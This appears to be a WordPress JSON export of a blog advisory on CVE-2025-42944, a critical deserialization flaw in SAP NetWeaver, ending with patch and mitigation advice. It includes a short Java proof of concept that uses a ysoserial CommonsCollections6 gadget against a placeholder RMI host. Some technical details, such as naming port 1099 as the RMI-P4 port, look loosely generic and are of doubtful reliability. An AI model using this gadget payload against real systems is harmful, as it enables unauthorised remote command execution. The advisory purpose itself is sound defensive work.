{"id":75136,"date":"2025-09-15T07:17:23","date_gmt":"2025-09-15T07:17:23","guid":{"rendered":""},"modified":"2025-10-14T18:32:18","modified_gmt":"2025-10-15T00:32:18","slug":"cve-2025-42944-critical-deserialization-vulnerability-in-sap-netweaver","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-42944-critical-deserialization-vulnerability-in-sap-netweaver\/","title":{"rendered":"<strong>CVE-2025-42944: Critical Deserialization Vulnerability in SAP NetWeaver<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability labeled as CVE-2025-42944. This risk lies within SAP NetWeaver, a popular technology platform that provides the technical foundation for many SAP applications. The vulnerability stems from a deserialization flaw that could be exploited through the RMI-P4 module, leaving <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82877\">systems open to potentially<\/a> devastating cyberattacks.<br \/>\nThe <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54887-significant-security-vulnerability-in-jwe-ruby-encryption-implementation\/\"  data-wpil-monitor-id=\"82668\">significance of this vulnerability<\/a> cannot be overstated. Given the widespread use of SAP NetWeaver, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7775-critical-memory-overflow-vulnerability-in-netscaler-adc-and-gateway-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"83783\">vulnerability has the potential<\/a> to affect a vast number of businesses and organizations globally. Furthermore, successful exploitation could lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52385-arbitrary-code-execution-vulnerability-in-studio-3t\/\"  data-wpil-monitor-id=\"82619\">arbitrary OS command execution<\/a>, putting the confidentiality, integrity, and availability of systems and data at significant risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-42944<br \/>\nSeverity: Critical (CVSS: 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9253-stack-based-buffer-overflow-on-linksys-wi-fi-range-extenders-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"84251\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1893147625\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>SAP NetWeaver | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46715-kernel-pointer-vulnerability-in-sandboxie-versions-prior-to-1-15-12\/\"  data-wpil-monitor-id=\"82756\">versions prior<\/a> to patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>A <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52287-deserialization-vulnerability-in-operamasks-sdk-elite-script-engine-v0-5-0\/\"  data-wpil-monitor-id=\"84018\">vulnerability resides in the deserialization<\/a> process of SAP NetWeaver. An attacker can exploit this by sending a malicious payload to an open port in the RMI-P4 module. Deserialization of this untrusted Java <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45968-insecure-direct-object-reference-vulnerability-in-system-pdv-v1-0\/\"  data-wpil-monitor-id=\"83000\">object could then trigger the execution of arbitrary operating system<\/a> commands. In essence, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-43110-critical-unauthenticated-remote-system-configuration-vulnerability-in-voltronic-power-viewpower-powershield-netguard\/\"  data-wpil-monitor-id=\"83107\">vulnerability could give an unauthorized user control over the system<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-585063893\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example that demonstrates how this vulnerability might be exploited. Note that this is a simplification for illustrative purposes and actual exploitation may require additional steps:<\/p>\n<pre><code class=\"\" data-line=\"\">import java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport ysoserial.payloads.CommonsCollections6;\npublic class Exploit {\npublic static void main(String[] args) {\ntry {\nRegistry registry = LocateRegistry.getRegistry(&quot;target.example.com&quot;, 1099);\nCommonsCollections6 payload = new CommonsCollections6();\nregistry.bind(&quot;malicious_payload&quot;, payload.getObject(&quot;os_command_to_execute&quot;));\n} catch (Exception e) {\ne.printStackTrace();\n}\n}\n}<\/code><\/pre>\n<p>In this example, the attacker uses the ysoserial library to generate a malicious Java object, which contains an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-41148-serious-code-injection-vulnerability-in-robot-operating-system-ros\/\"  data-wpil-monitor-id=\"88942\">operating system<\/a> command. This object is then sent to the target <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-12367-system-compromise-via-sensitive-information-exposure-in-vega-master-software\/\"  data-wpil-monitor-id=\"89881\">system via<\/a> the RMI-P4 port (1099 in this case). If the target system deserializes this object, the embedded <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57771-arbitrary-command-execution-vulnerability-in-roo-code-ai\/\"  data-wpil-monitor-id=\"84858\">command is executed<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate the risk from CVE-2025-42944, users should apply the patch provided by SAP immediately. Until the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block exploit attempts. It is also recommended to disable the RMI-P4 service if it is not in use.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability labeled as CVE-2025-42944. This risk lies within SAP NetWeaver, a popular technology platform that provides the technical foundation for many SAP applications. The vulnerability stems from a deserialization flaw that could be exploited through the RMI-P4 module, leaving systems open to potentially [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75136","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=75136"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75136\/revisions"}],"predecessor-version":[{"id":82755,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75136\/revisions\/82755"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=75136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=75136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=75136"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=75136"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=75136"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=75136"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=75136"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=75136"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=75136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}